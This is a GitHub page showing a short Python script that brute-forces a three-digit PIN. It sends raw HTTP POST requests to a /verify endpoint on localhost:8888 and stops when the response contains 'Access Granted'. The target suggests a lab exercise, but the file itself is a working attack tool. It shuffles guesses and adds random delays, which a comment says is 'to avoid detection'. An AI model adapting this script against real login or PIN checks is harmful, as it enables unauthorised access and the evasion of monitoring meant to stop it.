-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtrygit.py
More file actions
77 lines (63 loc) · 2.08 KB
/
trygit.py
File metadata and controls
77 lines (63 loc) · 2.08 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import socket
import time
import random
# Constants
HOST = '127.0.0.1'
PORT = 8888
DELAY = 1.2
def try_pin(pin):
# Format PIN to ensure 3 digits with leading zeros
pin_str = f"{pin:03d}"
data = f"magicNumber={pin_str}"
# Create HTTP request
request = (
f"POST /verify HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(data)}\r\n"
f"Connection: close\r\n"
f"\r\n"
f"{data}"
)
try:
# Connect and send request
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.settimeout(5) # Add timeout to prevent hanging
sock.connect((HOST, PORT))
sock.sendall(request.encode())
# Receive response
response = b""
while True:
try:
chunk = sock.recv(1024)
if not chunk:
break
response += chunk
except socket.timeout:
print(f"Socket timed out while receiving data for PIN {pin_str}")
break
# Decode response
decoded = response.decode(errors="ignore")
# Check for success
if "Access Granted" in decoded:
print(f"SUCCESS! PIN: {pin_str}")
return True
print(f"Trying PIN {pin_str}")
return False
except socket.error as e:
print(f"Socket error with PIN {pin_str}: {e}")
time.sleep(DELAY * 2) # Wait longer on error
return False
def main():
# Create list of all possible PINs and shuffle for less predictable pattern
pins = list(range(1000))
random.shuffle(pins)
for pin in pins:
if try_pin(pin):
print(f"Found correct PIN: {pin:03d}")
break
# Random delay between requests to avoid detection
jitter = random.uniform(0.8, 1.2)
time.sleep(DELAY * jitter)
if __name__ == "__main__":
main()